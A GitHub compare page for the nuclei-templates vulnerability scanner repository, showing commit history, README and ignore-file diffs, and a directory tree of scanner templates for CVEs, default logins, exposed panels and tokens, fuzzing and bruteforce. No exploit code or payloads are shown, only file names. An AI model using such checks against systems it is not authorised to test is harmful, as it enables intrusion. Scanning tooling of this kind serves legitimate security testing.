Compare commits

...
110 Commits
Author SHA1 Message Date
PD-Team 8d647ffbad Update CVE-2020-5410.yaml 2021-01-14 20:21:36 +05:30
PD-Team dc24595935 BaseURL updates 2021-01-14 20:11:56 +05:30
GitHub Action f8114097a2 Auto Update README [Thu Jan 14 14:11:28 UTC 2021] 🤖 2021-01-14 14:11:28 +00:00
PD-Team 631a135ea5 Delete basic-auth-workflow.yaml 2021-01-14 19:40:22 +05:30
GitHub Action 29c1b3422d Auto Update README [Thu Jan 14 06:57:45 UTC 2021] 🤖 2021-01-14 06:57:45 +00:00
PD-Team 9234a6801f moving files around 2021-01-14 12:27:13 +05:30
GitHub Action e39a230a18 Auto Update README [Thu Jan 14 06:00:54 UTC 2021] 🤖 2021-01-14 06:00:54 +00:00
PD-Team 0d92c9e39f Merge pull request #756 from geeknik/patch-35
Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml
2021-01-14 11:30:30 +05:30
Geeknik Labs 066e3813be Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml
Updating the name to better reflect what we're looking for. 
Updating the status matcher since some Tomcat manager instances don't require auth.
2021-01-13 17:28:48 -06:00
GitHub Action 4fd46aabd3 Auto Update README [Wed Jan 13 12:49:25 UTC 2021] 🤖 2021-01-13 12:49:25 +00:00
PD-Team a9204500ae Merge pull request #750 from michenriksen/master
Introduce risky-cves/ root folder to prevent accidental activation of harmful CVE checks
2021-01-13 18:18:58 +05:30
PD-Team 3cb3ac6bcb Update .nuclei-ignore 2021-01-13 18:13:00 +05:30
PD-Team b5b9eeb6bd Removing CVE-2020-16139 temporarily 2021-01-13 18:11:48 +05:30
PD-Team 8352228bc6 adding to avoid older structured folders. 2021-01-13 17:54:27 +05:30
Michael Henriksen 6ca9591c99 Remove .nuclei-ignore references to non-existent templates 2021-01-13 12:53:46 +01:00
Michael Henriksen b528ce663c Introduce a new risky-cves root folder
The template for CVE-2020-16139 lived in `cves/`
and was not ignored by default in .nuclei-ignore
for a considurable time because of directory
restructuring. The risky-cves root folder is
introduced to make this mistake less likely to
happen in the future.
2021-01-13 12:53:29 +01:00
team-projectdiscovery 6ee2e5873d Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2021-01-13 13:02:10 +05:30
team-projectdiscovery 106da77fc3 Preparing for request clustering 2021-01-13 13:01:46 +05:30
GitHub Action 8427a7167c Auto Update README [Wed Jan 13 07:11:04 UTC 2021] 🤖 2021-01-13 07:11:04 +00:00
team-projectdiscovery b5159893d0 removing duplicate template 2021-01-13 12:40:31 +05:30
PD-Team ae81785b2d Merge pull request #749 from projectdiscovery/CVE-2020-9376
Adding CVE-2020-9376
2021-01-12 21:46:49 +05:30
GitHub Action e401882391 Auto Update README [Tue Jan 12 16:16:29 UTC 2021] 🤖 2021-01-12 16:16:29 +00:00
team-projectdiscovery d8fc0079d9 Adding CVE-2020-9376 2021-01-12 21:45:12 +05:30
GitHub Action 4001d8f967 Auto Update README [Tue Jan 12 07:58:38 UTC 2021] 🤖 2021-01-12 07:58:38 +00:00
team-projectdiscovery 33bc9f554a readme updates 2021-01-12 13:27:56 +05:30
GitHub Action 77ae542dd1 Auto Update README [Tue Jan 12 06:24:23 UTC 2021] 🤖 2021-01-12 06:24:23 +00:00
team-projectdiscovery 389477dd28 removing duplicate template 2021-01-12 11:47:44 +05:30
GitHub Action afee90df5b Auto Update README [Mon Jan 11 09:55:51 UTC 2021] 🤖 2021-01-11 09:55:51 +00:00
team-projectdiscovery 2980315030 moving basic-auth-bruteforce to another branch as it requires more work 2021-01-11 15:25:10 +05:30
team-projectdiscovery 891c3d3736 path updates 2021-01-11 15:18:37 +05:30
PD-Team 3884cae525 Merge pull request #745 from savushkin-yauheni/patch-3
fix grafana subtemplate location
2021-01-11 15:17:03 +05:30
Zhenya Savushkin 3c90d959d5 fix grafana subtemplate location 2021-01-11 11:45:51 +02:00
GitHub Action 540da369d0 Auto Update README [Mon Jan 11 09:17:15 UTC 2021] 🤖 2021-01-11 09:17:15 +00:00
team-projectdiscovery b74b412ce0 Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2021-01-11 14:46:32 +05:30
team-projectdiscovery 2411de1934 readme updates 2021-01-11 14:46:07 +05:30
GitHub Action 5a3dccca5b Auto Update README [Mon Jan 11 09:14:17 UTC 2021] 🤖 2021-01-11 09:14:17 +00:00
team-projectdiscovery f128031add Update README.md 2021-01-11 14:43:33 +05:30
team-projectdiscovery d94bcfe9ec readme updates 2021-01-11 14:42:23 +05:30
team-projectdiscovery 0b4c49e485 misc 2021-01-11 13:24:57 +05:30
team-projectdiscovery 2d28f321ab Create exposed-alps-spring.yaml 2021-01-11 13:21:50 +05:30
team-projectdiscovery 101abb2df3 Delete README.md 2021-01-11 13:03:03 +05:30
team-projectdiscovery c62dfd2b53 adding few from masters 2021-01-11 12:28:56 +05:30
team-projectdiscovery 1468d8a52c matcher updates 2021-01-11 12:14:22 +05:30
team-projectdiscovery d69ce217e8 fixes 2021-01-11 04:50:14 +05:30
team-projectdiscovery 9ab927f60c lint fixes 2021-01-11 04:24:00 +05:30
GitHub Action 6beee02685 Auto Update README [Sun Jan 10 22:46:55 UTC 2021] 🤖 2021-01-10 22:46:55 +00:00
PD-Team 92690952d8 Merge pull request #714 from NagliNagli/patch-1
Create thinkific-redirect.yaml
2021-01-11 04:16:34 +05:30
team-projectdiscovery d393389ecf Update zabbix-default-credentials.yaml 2021-01-11 04:11:44 +05:30
team-projectdiscovery b5dd30abf5 fixes 2021-01-11 04:09:54 +05:30
team-projectdiscovery b80ca7732d linting errors 2021-01-11 03:31:24 +05:30
team-projectdiscovery 8a12488c32 moving folders 2021-01-10 20:33:44 +05:30
team-projectdiscovery 32efba63f7 few more changes 2021-01-10 20:25:57 +05:30
team-projectdiscovery f2f7ada0ff few more updates 2021-01-10 19:46:50 +05:30
team-projectdiscovery a52ffe5c4e fixes and updates 2021-01-10 19:45:36 +05:30
team-projectdiscovery a90d047991 Massive template checks addition 🎉 🎉 2021-01-10 18:41:25 +05:30
team-projectdiscovery 664a6f3b04 more cves 🔥 2021-01-09 20:15:11 +05:30
team-projectdiscovery 1dae8d890c Merge branch 'managed-dirs' of https://github.com/projectdiscovery/nuclei-templates into managed-dirs 2021-01-09 19:23:13 +05:30
team-projectdiscovery df66d17de5 Update README.tmpl 2021-01-09 19:22:50 +05:30
GitHub Action 3b11f4f2cb Auto Update README [Sat Jan 9 13:30:44 UTC 2021] 🤖 2021-01-09 13:30:44 +00:00
team-projectdiscovery eaaf56e9da workflow updates 2021-01-09 18:58:57 +05:30
team-projectdiscovery 187e4a5feb moving more files around 2021-01-09 18:32:04 +05:30
GitHub Action 51de12683b Auto Update README [Sat Jan 9 11:41:27 UTC 2021] 🤖 2021-01-09 11:41:27 +00:00
PD-Team 90c9b657c7 Merge pull request #743 from dwisiswant0/add/exposed-alps-spring
Add Exposed Spring Data REST ALPS
2021-01-09 17:11:03 +05:30
team-projectdiscovery 0cf38debaf Update exposed-alps-spring.yaml 2021-01-09 17:10:12 +05:30
Dwi Siswanto 81c04d4e07 🔨 Add Exposed Spring Data REST ALPS 2021-01-09 05:27:55 +07:00
team-projectdiscovery 95d784d9b7 moving folder/files around 2021-01-08 22:25:54 +05:30
team-projectdiscovery 21ea71e4c1 moving to new directory structure 2021-01-08 17:11:53 +05:30
PD-Team d0c84abeb3 Merge pull request #741 from geeknik/patch-34
Create monit-detect.yaml
2021-01-08 00:53:17 +05:30
team-projectdiscovery 7b749674d4 Delete monit-detect.yaml 2021-01-08 00:51:59 +05:30
team-projectdiscovery 81e207870e Update tech-detect.yaml 2021-01-08 00:51:12 +05:30
team-projectdiscovery 07d2aec8b6 Update monit-detect.yaml 2021-01-08 00:48:22 +05:30
PD-Team d0f3b8a7e7 Merge pull request #740 from afaq1337/master
Added package-lock.json template
2021-01-08 00:28:00 +05:30
team-projectdiscovery eb66806f5c updated template to add new endpoint 2021-01-08 00:26:47 +05:30
team-projectdiscovery 87ec61f0de Update CVE-2020-17518.yaml 2021-01-08 00:19:39 +05:30
Geeknik Labs cc0bc4f592 Update monit-detect.yaml 2021-01-07 10:15:06 -06:00
Geeknik Labs b6328c0951 Create monit-detect.yaml 2021-01-07 09:57:51 -06:00
Afaq a316468af3 Add files via upload 2021-01-07 19:51:12 +05:00
team-projectdiscovery 8a21f73b95 Update phpinfo.yaml 2021-01-06 23:48:53 +05:30
GitHub Action ebe6aded7c Auto Update README [Wed Jan 6 18:08:48 UTC 2021] 🤖 2021-01-06 18:08:48 +00:00
PD-Team a9bdfb7b38 Merge pull request #732 from DhiyaneshGeek/master
ASP.NET Trace.AXD Information Leak
2021-01-06 23:38:23 +05:30
team-projectdiscovery c295590603 Update trace-axd-detect.yaml 2021-01-06 23:33:15 +05:30
team-projectdiscovery 4305c47242 moving dirs 2021-01-06 23:31:08 +05:30
PD-Team fd21624235 Merge pull request #738 from projectdiscovery/syfmony-profiler
Added syfmony-profiler
2021-01-06 23:24:23 +05:30
GitHub Action f513e6739a Auto Update README [Wed Jan 6 17:54:10 UTC 2021] 🤖 2021-01-06 17:54:10 +00:00
team-projectdiscovery a4c8f1c8ff Added syfmony-profiler 2021-01-06 23:23:28 +05:30
PD-Team b543fb132f Merge pull request #736 from projectdiscovery/CVE2020-17518
Adding CVE-2020-17518
2021-01-06 23:10:19 +05:30
GitHub Action 2471e9b776 Auto Update README [Wed Jan 6 17:39:24 UTC 2021] 🤖 2021-01-06 17:39:24 +00:00
team-projectdiscovery 32143aa738 Create CVE-2020-17518.yaml 2021-01-06 23:08:45 +05:30
GitHub Action b5538255a3 Auto Update README [Wed Jan 6 14:33:55 UTC 2021] 🤖 2021-01-06 14:33:55 +00:00
PD-Team f389b7c7fb Merge pull request #734 from PR3R00T/patch-9
Locate Fortigate Fortiweb panels.
2021-01-06 20:02:52 +05:30
PR3R00T 11f9cde3a3 Locate Fortigate Fortiweb panels,
In preparation for the new set of unauthenticated vulnerabilities (https://twitter.com/ptswarm/status/1346806951326396416)
2021-01-06 14:00:51 +00:00
Dhiyaneshwaran 5b86caa168 Add files via upload 2021-01-06 17:03:13 +05:30
Dhiyaneshwaran 349b541a57 Merge pull request #6 from projectdiscovery/master
Updation
2021-01-06 17:01:55 +05:30
GitHub Action fd032ea50a Auto Update README [Wed Jan 6 07:31:26 UTC 2021] 🤖 2021-01-06 07:31:26 +00:00
PD-Team b622b432e9 Merge pull request #730 from taielab/master
Add Nacos-auth-bypass
2021-01-06 13:01:04 +05:30
team-projectdiscovery 3fc96a427c few updates 2021-01-06 12:59:33 +05:30
PD-Team f938a9b1ab Merge pull request #731 from projectdiscovery/CVE-2020-17519
Adding CVE-2020-17519
2021-01-06 12:39:40 +05:30
GitHub Action 4c8c34992a Auto Update README [Wed Jan 6 07:09:19 UTC 2021] 🤖 2021-01-06 07:09:19 +00:00
team-projectdiscovery dfd308612b adding CVE-2020-17519 2021-01-06 12:38:41 +05:30
泰阿安全实验室 8cd8bcb43b Update Nacos-auth-bypass.yaml 2021-01-06 12:26:18 +08:00
泰阿安全实验室 9381dbbbe0 Update Nacos-auth-bypass.yaml 2021-01-06 12:14:32 +08:00
泰阿安全实验室 4f180df3dd Update Nacos-auth-bypass.yaml 2021-01-06 12:09:02 +08:00
泰阿安全实验室 3e03da97f1 Nacos-auth-bypass 2021-01-06 11:54:47 +08:00
PD-Team 02833a9fb3 Merge pull request #726 from geeknik/patch-32
Update server-private-keys.yaml
2021-01-05 13:04:04 +05:30
Geeknik Labs bc8fa0d4c5 Update server-private-keys.yaml
Add matcher for PGP Private Key.
2021-01-04 14:48:46 -06:00
team-projectdiscovery 9ec41352f6 matcher update 2021-01-05 00:33:42 +05:30
GitHub Action 7d0ba9c88b Auto Update README [Mon Jan 4 07:01:58 UTC 2021] 🤖 2021-01-04 07:01:58 +00:00
team-projectdiscovery 337c73e30b Update slack-access-token.yaml 2021-01-04 12:31:09 +05:30
team-projectdiscovery 9a1c93c1c0 Update thinkific-redirect.yaml 2020-12-29 11:30:30 +05:30
Gal Nagli c5838760fe Create thinkific-redirect.yaml 2020-12-29 00:51:40 +02:00
311 changed files with 1672 additions and 573 deletions

No files matched your search

+48 -18
View File
@@ -9,23 +9,35 @@ f"""
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
# Resources
### Nuclei templates `{version}` overview
- [Templates](#nuclei-templates-overview)
- [Documentation](#-documentation)
- [Contributions](#-contributions)
- [Discussion](#-discussion)
- [Community](#-community)
- [Notes](#-notes)
| Templates | Counts | Templates | Counts |
| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
| cves | {countTpl("cves/*")} | files | {countTpl("files")} |
| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
### Nuclei templates overview
-----
An overview of the nuclei template directory including number of templates associated with each directory.
### Nuclei templates `{version}` tree overview
**Directory structure of nuclei templates:**
| Templates | Counts | Templates | Counts |
| --------------- | ------------------------------- | ---------------- | ------------------------------ |
| cves | {countTpl("cves/*")} | default-logins | {countTpl("default-logins/*")} |
| dns | {countTpl("dns")} | exposed-panels | {countTpl("exposed-panels")} |
| exposed-tokens | {countTpl("exposed-tokens/*")} | exposures | {countTpl("exposures/*")} |
| fuzzing | {countTpl("fuzzing")} | helpers | {countTpl("helpers/*")} |
| miscellaneous | {countTpl("miscellaneous")} | misconfiguration | {countTpl("misconfiguration")} |
| takeovers | {countTpl("takeovers")} | technologies | {countTpl("technologies")} |
| vulnerabilities | {countTpl("vulnerabilities/*")} | workflows | {countTpl("workflows")} |
**Tree structure of nuclei templates:**
<details>
<summary> Nuclei templates </summary>
@@ -38,12 +50,30 @@ An overview of the nuclei template directory including number of templates and H
**{command("tree", -2, None)}**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
📖 Documentation
-----
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
💪 Contributions
-----
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
💬 Discussion
-----
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
👨‍💻 Community
-----
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
💡 Notes
-----
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
------
**Notes:**
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
Thanks again for your contribution and keeping the community vibrant. :heart:
"""
+18 -8
View File
@@ -12,18 +12,28 @@
# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
.pre-commit-config.yaml
cves/CVE-2017-7529.yaml
cves/CVE-2020-13379.yaml
cves/CVE-2013-2251.yaml
cves/CVE-2020-16139.yaml
vulnerabilities/x-forwarded-host-injection.yaml
cves/2013/CVE-2013-2251.yaml
cves/2017/CVE-2017-7529.yaml
cves/2020/CVE-2020-13379.yaml
cves/2020/CVE-2020-16139.yaml
# Fuzzing is excluded to avoid running bruteforce on every server as default.
fuzzing/
# Wordlist directory contains payload to be used with templates.
wordlists/
misc/
helpers/
miscellaneous/
# Workflows are excluded from default run to avoid duplicate scans.
workflows/
workflows/
# Adding older folder to avoid possilbe issue with nuclei ignore execution.
misc/
default-credentials/
files/
generic-detections/
panels/
payloads/
security-misconfiguration/
subdomain-takeover/
tokens/
+318 -204
View File
@@ -9,23 +9,35 @@
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
# Resources
### Nuclei templates `v7.3.5` overview
- [Templates](#nuclei-templates-overview)
- [Documentation](#-documentation)
- [Contributions](#-contributions)
- [Discussion](#-discussion)
- [Community](#-community)
- [Notes](#-notes)
| Templates | Counts | Templates | Counts |
| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
| cves | 145 | files | 48 |
| vulnerabilities | 42 | panels | 49 |
| technologies | 41 | security-misconfiguration | 28 |
| workflows | 17 | tokens | 8 |
| dns | 6 | fuzzing | 6 |
| generic-detections | 3 | default-credentials | 4 |
| subdomain-takeover | 2 | payloads | 2 |
| wordlists | 1 | misc | 14 |
### Nuclei templates overview
-----
An overview of the nuclei template directory including number of templates associated with each directory.
### Nuclei templates `v7.3.5` tree overview
**Directory structure of nuclei templates:**
| Templates | Counts | Templates | Counts |
| --------------- | ------------------------------- | ---------------- | ------------------------------ |
| cves | 154 | default-logins | 8 |
| dns | 6 | exposed-panels | 73 |
| exposed-tokens | 9 | exposures | 40 |
| fuzzing | 5 | helpers | 3 |
| miscellaneous | 14 | misconfiguration | 37 |
| takeovers | 1 | technologies | 43 |
| vulnerabilities | 62 | workflows | 16 |
**Tree structure of nuclei templates:**
<details>
<summary> Nuclei templates </summary>
@@ -75,8 +87,11 @@ An overview of the nuclei template directory including number of templates and H
│   │   ├── CVE-2018-3714.yaml
│   │   ├── CVE-2018-3760.yaml
│   │   ├── CVE-2018-5230.yaml
│   │   └── CVE-2018-7490.yaml
│   │   ├── CVE-2018-7251.yaml
│   │   ├── CVE-2018-7490.yaml
│   │   └── CVE-2018-8006.yaml
│   ├── 2019
│   │   ├── CVE-2019-10092.yaml
│   │   ├── CVE-2019-1010287.yaml
│   │   ├── CVE-2019-10475.yaml
│   │   ├── CVE-2019-11248.yaml
@@ -88,6 +103,7 @@ An overview of the nuclei template directory including number of templates and H
│   │   ├── CVE-2019-12461.yaml
│   │   ├── CVE-2019-12593.yaml
│   │   ├── CVE-2019-12725.yaml
│   │   ├── CVE-2019-14223.yaml
│   │   ├── CVE-2019-14322.yaml
│   │   ├── CVE-2019-14696.yaml
│   │   ├── CVE-2019-14974.yaml
@@ -117,6 +133,7 @@ An overview of the nuclei template directory including number of templates and H
│   │   ├── CVE-2019-6112.yaml
│   │   ├── CVE-2019-6340.yaml
│   │   ├── CVE-2019-6715.yaml
│   │   ├── CVE-2019-7219.yaml
│   │   ├── CVE-2019-7256.yaml
│   │   ├── CVE-2019-7609.yaml
│   │   ├── CVE-2019-8442.yaml
@@ -126,6 +143,7 @@ An overview of the nuclei template directory including number of templates and H
│   │   ├── CVE-2019-8982.yaml
│   │   ├── CVE-2019-9670.yaml
│   │   ├── CVE-2019-9733.yaml
│   │   ├── CVE-2019-9955.yaml
│   │   └── CVE-2019-9978.yaml
│   └── 2020
│   ├── CVE-2020-0618.yaml
@@ -146,11 +164,13 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-15129.yaml
│   ├── CVE-2020-15505.yaml
│   ├── CVE-2020-15920.yaml
│   ├── CVE-2020-16139.yaml
│   ├── CVE-2020-16846.yaml
│   ├── CVE-2020-16952.yaml
│   ├── CVE-2020-17505.yaml
│   ├── CVE-2020-17506.yaml
│   ├── CVE-2020-17518.yaml
│   ├── CVE-2020-17519.yaml
│   ├── CVE-2020-1943.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-2140.yaml
│   ├── CVE-2020-23972.yaml
@@ -184,14 +204,27 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-8982.yaml
│   ├── CVE-2020-9047.yaml
│   ├── CVE-2020-9344.yaml
│   ├── CVE-2020-9376.yaml
│   ├── CVE-2020-9484.yaml
│   ├── CVE-2020-9496.yaml
│   └── CVE-2020-9757.yaml
├── default-credentials
│   ├── grafana-default-credential.yaml
│   ├── rabbitmq-default-admin.yaml
│   ├── solarwinds-default-admin.yaml
│   └── tomcat-manager-default.yaml
├── default-logins
│   ├── activemq
│   │   └── activemq-default-login.yaml
│   ├── ambari
│   │   └── ambari-default-credentials.yaml
│   ├── apache
│   │   └── tomcat-manager-default.yaml
│   ├── grafana
│   │   └── grafana-default-credential.yaml
│   ├── ofbiz
│   │   └── ofbiz-default-credentials.yaml
│   ├── rabbitmq
│   │   └── rabbitmq-default-admin.yaml
│   ├── solarwinds
│   │   └── solarwinds-default-admin.yaml
│   └── zabbix
│   └── zabbix-default-credentials.yaml
├── dns
│   ├── azure-takeover-detection.yaml
│   ├── cname-service-detector.yaml
@@ -199,67 +232,154 @@ An overview of the nuclei template directory including number of templates and H
│   ├── mx-service-detector.yaml
│   ├── servfail-refused-hosts.yaml
│   └── spoofable-spf-records-ptr.yaml
├── files
│   ├── apc-info.yaml
│   ├── cgi-test-page.yaml
│   ├── composer-config.yaml
│   ├── docker-registry.yaml
│   ├── domcfg-page.yaml
│   ├── druid-monitor.yaml
│   ├── drupal-install.yaml
│   ├── ds_store.yaml
│   ├── elasticsearch.yaml
│   ├── elmah-log-file.yaml
│   ├── error-logs.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-svn.yaml
│   ├── filezilla.yaml
│   ├── firebase-detect.yaml
│   ├── git-config.yaml
│   ├── graylog-api-browser.yaml
│   ├── htpasswd-detection.yaml
│   ├── jkstatus-manager.yaml
│   ├── jolokia.yaml
│   ├── laravel-env.yaml
│   ├── lazy-file.yaml
│   ├── magento-config.yaml
│   ├── owncloud-config.yaml
│   ├── package-json.yaml
│   ├── php-errors.yaml
│   ├── phpinfo.yaml
│   ├── public-tomcat-instance.yaml
│   ├── redmine-db-config.yaml
│   ├── server-private-keys.yaml
│   ├── server-status-localhost.yaml
│   ├── shell-history.yaml
│   ├── sql-dump.yaml
│   ├── telerik-dialoghandler-detect.yaml
│   ├── telerik-fileupload-detect.yaml
│   ├── tomcat-scripts.yaml
│   ├── wadl-files.yaml
│   ├── web-config.yaml
│   ├── wordpress-db-backup.yaml
│   ├── wordpress-debug-log.yaml
│   ├── wordpress-directory-listing.yaml
│   ├── wordpress-emergency-script.yaml
│   ├── wordpress-installer-log.yaml
│   ├── wordpress-tmm-db-migrate.yaml
│   ├── wordpress-user-enumeration.yaml
│   ├── wsdl-detect.yaml
│   ├── xprober-service.yaml
│   └── zip-backup-files.yaml
├── exposed-panels
│   ├── active-admin-exposure.yaml
│   ├── activemq-panel.yaml
│   ├── adminer-panel.yaml
│   ├── aims-password-mgmt-client.yaml
│   ├── airflow-exposure.yaml
│   ├── ambari-exposure.yaml
│   ├── ansible-tower-exposure.yaml
│   ├── atlassian-crowd-panel.yaml
│   ├── cisco-asa-panel.yaml
│   ├── citrix-adc-gateway-detect.yaml
│   ├── citrix-vpn-detect.yaml
│   ├── compal-panel.yaml
│   ├── couchdb-exposure.yaml
│   ├── couchdb-fauxton.yaml
│   ├── crxde.yaml
│   ├── django-admin-panel.yaml
│   ├── druid-console-exposure.yaml
│   ├── exposed-pagespeed-global-admin.yaml
│   ├── exposed-webalizer.yaml
│   ├── flink-exposure.yaml
│   ├── fortinet-fortigate-panel.yaml
│   ├── fortiweb-panel.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── globalprotect-panel.yaml
│   ├── go-anywhere-client.yaml
│   ├── grafana-detect.yaml
│   ├── hadoop-exposure.yaml
│   ├── identityguard-selfservice-entrust.yaml
│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
│   ├── jira-detect.yaml
│   ├── jmx-console.yaml
│   ├── kafka-connect-ui.yaml
│   ├── kafka-monitoring.yaml
│   ├── kafka-topics-ui.yaml
│   ├── kubernetes-dashboard.yaml
│   ├── manage-engine-admanager-panel.yaml
│   ├── mobileiron-login.yaml
│   ├── netscaler-gateway.yaml
│   ├── network-camera-detect.yaml
│   ├── oipm-detect.yaml
│   ├── parallels-html-client.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── public-tomcat-manager.yaml
│   ├── pulse-secure-panel.yaml
│   ├── rabbitmq-dashboard.yaml
│   ├── rocketmq-console-exposure.yaml
│   ├── rsa-self-service.yaml
│   ├── sap-hana-xsengine-panel.yaml
│   ├── sap-netweaver-detect.yaml
│   ├── sap-recon-detect.yaml
│   ├── selenoid-ui-exposure.yaml
│   ├── setup-page-exposure.yaml
│   ├── solarwinds-orion.yaml
│   ├── solr-exposure.yaml
│   ├── sonarqube-login.yaml
│   ├── sonicwall-management-panel.yaml
│   ├── sonicwall-sslvpn-panel.yaml
│   ├── sophos-fw-version-detect.yaml
│   ├── supervpn-panel.yaml
│   ├── tikiwiki-cms.yaml
│   ├── tomcat-manager-pathnormalization.yaml
│   ├── traefik-dashboard.yaml
│   ├── virtual-ema-detect.yaml
│   ├── weave-scope-dashboard-detect.yaml
│   ├── webeditors.yaml
│   ├── webmin-panel.yaml
│   ├── workspace-one-uem.yaml
│   ├── workspaceone-uem-airwatch-dashboard-detect.yaml
│   ├── yarn-manager-exposure.yaml
│   └── zipkin-exposure.yaml
├── exposed-tokens
│   ├── aws
│   │   ├── amazon-mws-auth-token-value.yaml
│   │   └── aws-access-key-value.yaml
│   ├── generic
│   │   ├── credentials-disclosure.yaml
│   │   ├── general-tokens.yaml
│   │   └── http-username-password.yaml
│   ├── google
│   │   ├── fcm-server-key.yaml
│   │   └── google-api-key.yaml
│   ├── mailchimp
│   │   └── mailchimp-api-key.yaml
│   └── slack
│   └── slack-access-token.yaml
├── exposures
│   ├── apis
│   │   ├── swagger-api.yaml
│   │   ├── wadl-api.yaml
│   │   └── wsdl-api.yaml
│   ├── backups
│   │   ├── sql-dump.yaml
│   │   └── zip-backup-files.yaml
│   ├── configs
│   │   ├── airflow-configuration-exposure.yaml
│   │   ├── amazon-docker-config-disclosure.yaml
│   │   ├── ansible-config-disclosure.yaml
│   │   ├── composer-config.yaml
│   │   ├── exposed-svn.yaml
│   │   ├── git-config-nginxoffbyslash.yaml
│   │   ├── git-config.yaml
│   │   ├── htpasswd-detection.yaml
│   │   ├── laravel-env.yaml
│   │   ├── magento-config.yaml
│   │   ├── opcache-status-exposure.yaml
│   │   ├── owncloud-config.yaml
│   │   ├── package-json.yaml
│   │   ├── perl-status.yaml
│   │   ├── phpinfo.yaml
│   │   ├── rails-database-config.yaml
│   │   ├── redmine-db-config.yaml
│   │   ├── server-status-localhost.yaml
│   │   ├── syfmony-profiler.yaml
│   │   ├── symfony-database-config.yaml
│   │   ├── symfony-profiler.yaml
│   │   └── web-config.yaml
│   ├── files
│   │   ├── domcfg-page.yaml
│   │   ├── drupal-install.yaml
│   │   ├── ds_store.yaml
│   │   ├── exposed-alps-spring.yaml
│   │   ├── filezilla.yaml
│   │   ├── lazy-file.yaml
│   │   ├── server-private-keys.yaml
│   │   └── xprober-service.yaml
│   └── logs
│   ├── elmah-log-file.yaml
│   ├── error-logs.yaml
│   ├── rails-debug-mode.yaml
│   ├── struts-debug-mode.yaml
│   └── trace-axd-detect.yaml
├── fuzzing
│   ├── arbitrary-file-read.yaml
│   ├── basic-auth-bruteforce.yaml
│   ├── directory-traversal.yaml
│   ├── generic-lfi-fuzzing.yaml
│   ├── iis-shortname.yaml
│   └── wp-plugin-scan.yaml
├── generic-detections
│   ├── basic-xss-prober.yaml
│   ├── general-tokens.yaml
│   └── top-15-xss.yaml
├── misc
├── helpers
│   ├── payloads
│   │   ├── CVE-2020-5776.csv
│   │   └── CVE-2020-6287.xml
│   └── wordlists
│   └── wp-plugins.txt
├── miscellaneous
│   ├── basic-cors-flash.yaml
│   ├── dir-listing.yaml
│   ├── htaccess-config.yaml
@@ -274,91 +394,46 @@ An overview of the nuclei template directory including number of templates and H
│   ├── unencrypted-bigip-ltm-cookie.yaml
│   ├── wp-xmlrpc.yaml
│   └── xml-schema-detect.yaml
├── panels
│   ├── adminer-panel.yaml
│   ├── aims-password-mgmt-client.yaml
│   ├── atlassian-crowd-panel.yaml
│   ├── cisco-asa-panel.yaml
│   ├── citrix-adc-gateway-detect.yaml
│   ├── citrix-vpn-detect.yaml
│   ├── compal.yaml
│   ├── crxde.yaml
│   ├── docker-api.yaml
│   ├── fortinet-fortigate-panel.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── globalprotect-panel.yaml
│   ├── go-anywhere-client.yaml
│   ├── grafana-detect.yaml
